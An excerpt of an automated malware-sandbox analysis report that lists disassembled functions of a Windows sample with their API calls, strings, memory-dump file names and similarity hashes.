                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ItemText
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3367045223-0
                                                                                                                                                        • Opcode ID: ae53445c1cc980359c571db88fbd0598cd81bed61c1ff964e7467b161e65a1ff
                                                                                                                                                        • Instruction ID: 6474b3502c847879fdc2fc5095aac0036da664abfac0ca4a884d699dd37802a7
                                                                                                                                                        • Opcode Fuzzy Hash: ae53445c1cc980359c571db88fbd0598cd81bed61c1ff964e7467b161e65a1ff
                                                                                                                                                        • Instruction Fuzzy Hash: D2C0EA35618340EF8B059B58E988D1ABBA6BB96311B518558F0548A120C331D920DB62
                                                                                                                                                        Function 00DB4D13 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4CF1
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: d6c1291c2f591e291038e363969fa3127121d134e82e754db6d176936d45dc02
                                                                                                                                                        • Instruction ID: 22756b13b3f0e8b6d57ae14e0cfa6e781bf3c2396f5152d5278a59ff3e0092a9
                                                                                                                                                        • Opcode Fuzzy Hash: d6c1291c2f591e291038e363969fa3127121d134e82e754db6d176936d45dc02
                                                                                                                                                        • Instruction Fuzzy Hash: B1A0019A2AE552FC3108A2516E06CBB1A2ED9D9F613718A5BF443C6183A98168991035
                                                                                                                                                        Function 00D9E8D9 Relevance: 1.5, APIs: 1, Instructions: 5fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SetEndOfFile.KERNELBASE(?,00D9D115,?,?,?,?,?,?,?), ref: 00D9E8DC
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 749574446-0
                                                                                                                                                        • Opcode ID: f5100e3022478636041263b58389cdbfe13665091d8cd79cfdb6d7a307eb5b59
                                                                                                                                                        • Instruction ID: 26a24162a45ac339981c2ba6116bcf70d7ad7ab162cb136795816587d42a38f4
                                                                                                                                                        • Opcode Fuzzy Hash: f5100e3022478636041263b58389cdbfe13665091d8cd79cfdb6d7a307eb5b59
                                                                                                                                                        • Instruction Fuzzy Hash: 65A00130211206CB9A411B21DE09A0E7A6AAE4169971990A8A50AC9171DB2688A3AA55
                                                                                                                                                        Function 00D9DE50 Relevance: 1.3, APIs: 1, Instructions: 28COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CloseHandle.KERNELBASE(?,?,00000001,00D9DE10,D8943D1D,?,00000000,00DC93B1,000000FF,?,00D9BEA6,?), ref: 00D9DE6B
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseHandle
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2962429428-0
                                                                                                                                                        • Opcode ID: a34dd2491ce2b2f49710a3586934142c8f1e42b467a9d5e6de79a8165939466e
                                                                                                                                                        • Instruction ID: 076282e25ecc732619ed7833b6aa9c41dfa44fc67f24f74a588dd0801e5372bb
                                                                                                                                                        • Opcode Fuzzy Hash: a34dd2491ce2b2f49710a3586934142c8f1e42b467a9d5e6de79a8165939466e
                                                                                                                                                        • Instruction Fuzzy Hash: ADF08270441B019ADB349E24C814752B7E56B21324F084B1EE0E68A5E4C370A9899A70

                                                                                                                                                        Non-executed Functions

                                                                                                                                                        Function 00D99B5C Relevance: 23.3, APIs: 9, Strings: 4, Instructions: 577fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _wcslen.LIBCMT ref: 00D99CB1
                                                                                                                                                          • Part of subcall function 00D9AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D9AC2E
                                                                                                                                                          • Part of subcall function 00D9AC11: GetLastError.KERNEL32 ref: 00D9AC72
                                                                                                                                                          • Part of subcall function 00D9AC11: CloseHandle.KERNEL32(?), ref: 00D9AC81
                                                                                                                                                          • Part of subcall function 00D92F45: _wcslen.LIBCMT ref: 00D92F50
                                                                                                                                                        • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,?,00000000,?,00000001,?,00000000,00000000,?,\??\), ref: 00D99EE1
                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,D8944865,00DC9937,000000FF), ref: 00D99F1E
                                                                                                                                                        • CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000,?,00000000,?,00000000,?,00000001,?,00000000,00000000), ref: 00D9A0BF
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                        • DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00D9A127
                                                                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,D8944865,00DC9937,000000FF), ref: 00D9A134
                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,D8944865,00DC9937,000000FF), ref: 00D9A14A
                                                                                                                                                        • RemoveDirectoryW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,D8944865,00DC9937,000000FF), ref: 00D9A18E
                                                                                                                                                        • DeleteFileW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,D8944865,00DC9937,000000FF), ref: 00D9A196
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseFileHandle_wcslen$CreateErrorLast$ControlCurrentDeleteDeviceDirectoryProcessRemove
                                                                                                                                                        • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                                                                                                                        • API String ID: 3517300771-3508440684
                                                                                                                                                        • Opcode ID: b4f38f05c015bf12c0018bbc3189175f49d71a4e4bc7ee14afd206a0c423f822
                                                                                                                                                        • Instruction ID: 07e3c73cd4cfe18410f5f41ef18bfc96063b828ac9148d1e4570d64709d05e24
                                                                                                                                                        • Opcode Fuzzy Hash: b4f38f05c015bf12c0018bbc3189175f49d71a4e4bc7ee14afd206a0c423f822
                                                                                                                                                        • Instruction Fuzzy Hash: 98325D71900289AFDF24DFA8CC95BEEB7B9EF15310F144119E949EB281DB349A48CB71
                                                                                                                                                        Function 00DB1630 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 275windowfileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • __EH_prolog3_GS.LIBCMT ref: 00DB163A
                                                                                                                                                          • Part of subcall function 00D91E44: GetDlgItem.USER32(00000000,00003021), ref: 00D91E88
                                                                                                                                                          • Part of subcall function 00D91E44: SetWindowTextW.USER32(00000000,00DCC6C8), ref: 00D91E9E
                                                                                                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00DB16BB
                                                                                                                                                        • EndDialog.USER32(?,00000006), ref: 00DB16CE
                                                                                                                                                        • GetDlgItem.USER32(?,0000006C), ref: 00DB16EA
                                                                                                                                                        • SetFocus.USER32(00000000), ref: 00DB16F1
                                                                                                                                                          • Part of subcall function 00D914A7: _wcslen.LIBCMT ref: 00D914B8
                                                                                                                                                          • Part of subcall function 00D91DE7: SetDlgItemTextW.USER32(?,?,?), ref: 00D91DFC
                                                                                                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00DB1763
                                                                                                                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00DB1783
                                                                                                                                                        • FindClose.KERNEL32(00000000,?,00000000,00000000,00000000,00000099,?,?,00000000), ref: 00DB1826
                                                                                                                                                        • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00DB18AD
                                                                                                                                                          • Part of subcall function 00D91150: _wcslen.LIBCMT ref: 00D9115B
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Item$MessageSend$FindText_wcslen$CloseDialogFileFirstFocusH_prolog3_Window
                                                                                                                                                        • String ID: %s %s$REPLACEFILEDLG
                                                                                                                                                        • API String ID: 485132379-439456425
                                                                                                                                                        • Opcode ID: 76790019a3d6652b1f35da3f098d4711ed650a9d6471230bfe5dcf0e4a9b373f
                                                                                                                                                        • Instruction ID: 84015e2d316f34e0c4af4191c5eb49182b4d747ebd9e9be1936859d39a4c98f2
                                                                                                                                                        • Opcode Fuzzy Hash: 76790019a3d6652b1f35da3f098d4711ed650a9d6471230bfe5dcf0e4a9b373f
                                                                                                                                                        • Instruction Fuzzy Hash: F8A1AD75940219EAEF21EBA0CC9AFEEB77DEF15300F444198B20AA7181DA745F498B71
                                                                                                                                                        Function 00DC480E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: __floor_pentium4
                                                                                                                                                        • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                        • API String ID: 4168288129-2761157908
                                                                                                                                                        • Opcode ID: 49c770f3bcb2bd37dc3d3ae5a20182e108970e7d0c07b1490d633a90bcc27897
                                                                                                                                                        • Instruction ID: 3f22b7e5b034d362f3c46aa33aa95902a52f44b3153281a911bfc6cfef8836bf
                                                                                                                                                        • Opcode Fuzzy Hash: 49c770f3bcb2bd37dc3d3ae5a20182e108970e7d0c07b1490d633a90bcc27897
                                                                                                                                                        • Instruction Fuzzy Hash: 9CC25C71E0462A8FDB25CE28DD50BEAB7B5EB44304F1941EED84DE7244E774AE818F60
                                                                                                                                                        Function 00D93D9D Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • _strlen.LIBCMT ref: 00D9438C
                                                                                                                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D94523
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
                                                                                                                                                        • String ID: CMT
                                                                                                                                                        • API String ID: 2172594012-2756464174
                                                                                                                                                        • Opcode ID: b339b1af3e201c52a313b491e18ac7eac886f00b6f9a228de04013234db915b9
                                                                                                                                                        • Instruction ID: 25ac9a39c3d2656c0304b2e6d42ae80a639438a731a635efdc46412459629175
                                                                                                                                                        • Opcode Fuzzy Hash: b339b1af3e201c52a313b491e18ac7eac886f00b6f9a228de04013234db915b9
                                                                                                                                                        • Instruction Fuzzy Hash: 1E72A071A003448FDF19DF68C895BEA7BA1FF56300F08456DEC5A9B282DB70A945CB71
                                                                                                                                                        Function 00DB6878 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DB6884
                                                                                                                                                        • IsDebuggerPresent.KERNEL32 ref: 00DB6950
                                                                                                                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DB6970
                                                                                                                                                        • UnhandledExceptionFilter.KERNEL32(?), ref: 00DB697A
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 254469556-0
                                                                                                                                                        • Opcode ID: a45016fefde12c877f4ce1be92954afec52f7fd60f13c1da694b6cef7da5041b
                                                                                                                                                        • Instruction ID: e5ae8a99580062865948fa29828910b8284aac9df74f8dba722dcd6d1ecb6426
                                                                                                                                                        • Opcode Fuzzy Hash: a45016fefde12c877f4ce1be92954afec52f7fd60f13c1da694b6cef7da5041b
                                                                                                                                                        • Instruction Fuzzy Hash: B7313875D05319DBDF11DFA5D989BCCBBB8AF08300F1050AAE50DAB290EB749A848F64
                                                                                                                                                        Function 00D9932C Relevance: 6.0, APIs: 4, Instructions: 36windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetLastError.KERNEL32(?,?,00D9952D,?,00000040,00D9931E,00000001,?,?,?,?,0000001C,00DA7618,00DDE0C8,WaitForMultipleObjects error %d, GetLastError %d,000000FF), ref: 00D99330
                                                                                                                                                        • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,00000000,00000000,00000000,?,?,00D9952D,?,00000040,00D9931E,00000001,?,?), ref: 00D99351
                                                                                                                                                        • _wcslen.LIBCMT ref: 00D99360
                                                                                                                                                        • LocalFree.KERNEL32(00000000,00000000,00000000,00DDE0C8,?,?,00D9952D,?,00000040,00D9931E,00000001,?,?,?,?,0000001C), ref: 00D99373
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorFormatFreeLastLocalMessage_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 991192900-0
                                                                                                                                                        • Opcode ID: 871ed473954ee34c5c9583dc8e5cb193cdc78be5a70fcbf6e67df1526a377676
                                                                                                                                                        • Instruction ID: 4cda0f23b5447711693aea244f77efecbf13a647e7fc417fa36c1da1b5dae493
                                                                                                                                                        • Opcode Fuzzy Hash: 871ed473954ee34c5c9583dc8e5cb193cdc78be5a70fcbf6e67df1526a377676
                                                                                                                                                        • Instruction Fuzzy Hash: BEF08279610205FBEF049FA59D05EFF776CEB85740B148019F602E7290CA709E01A674
                                                                                                                                                        Function 00DB4E14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VirtualQuery.KERNEL32(80000000,00DB4D59,0000001C,00DB4F4E,00000000,?,?,?,?,?,?,?,00DB4D59,00000004,00DE5D84,00DB4FDE), ref: 00DB4E25
                                                                                                                                                        • GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00DB4D59,00000004,00DE5D84,00DB4FDE), ref: 00DB4E40
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: InfoQuerySystemVirtual
                                                                                                                                                        • String ID: D
                                                                                                                                                        • API String ID: 401686933-2746444292
                                                                                                                                                        • Opcode ID: 0cddc3a07c4a5d8eb0f33fe12f348b22ddd7cd1997b7a49c8f18453cb2698d3d
                                                                                                                                                        • Instruction ID: e969f0e42decbc321d92a106c939e830d467c39150c25bbcf7f0ad05f06c21ea
                                                                                                                                                        • Opcode Fuzzy Hash: 0cddc3a07c4a5d8eb0f33fe12f348b22ddd7cd1997b7a49c8f18453cb2698d3d
                                                                                                                                                        • Instruction Fuzzy Hash: F701A772A00209ABDB14DE29DC05BEE7BA9AFC4328F0CC125FD5ADB255D734D91186A0
                                                                                                                                                        Function 00DBAAC4 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00DB535E), ref: 00DBABBC
                                                                                                                                                        • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00DB535E), ref: 00DBABC6
                                                                                                                                                        • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00DB535E), ref: 00DBABD3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3906539128-0
                                                                                                                                                        • Opcode ID: a408faea8a3135dd5866e725576c645ec09406c7a80b1c2c20cbdac4314b956c
                                                                                                                                                        • Instruction ID: 4d12081d690c9b328ab63f2440c222d7b282b978cb21ebc19390f63c837b1505
                                                                                                                                                        • Opcode Fuzzy Hash: a408faea8a3135dd5866e725576c645ec09406c7a80b1c2c20cbdac4314b956c
                                                                                                                                                        • Instruction Fuzzy Hash: 3431C374D01319EBCB21DF68D988BD8B7B8AF08310F5051EAE41DA6261EB709B818F65
                                                                                                                                                        Function 00DC1FF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .
                                                                                                                                                        • API String ID: 0-248832578
                                                                                                                                                        • Opcode ID: 34a05f1c0ff02824bcf298da0d3cd5899174e9bd6430f4f4e6df12fa37716148
                                                                                                                                                        • Instruction ID: b5df540584bcc35484fa8fe4c564ccf38ea1170a3ba138089fb0c27deb10f8f0
                                                                                                                                                        • Opcode Fuzzy Hash: 34a05f1c0ff02824bcf298da0d3cd5899174e9bd6430f4f4e6df12fa37716148
                                                                                                                                                        • Instruction Fuzzy Hash: FB31F27280020AAFCB249E78CC84EFBBBBDDB85314F08019DF91987252E6319D41CB70
                                                                                                                                                        Function 00DC4360 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
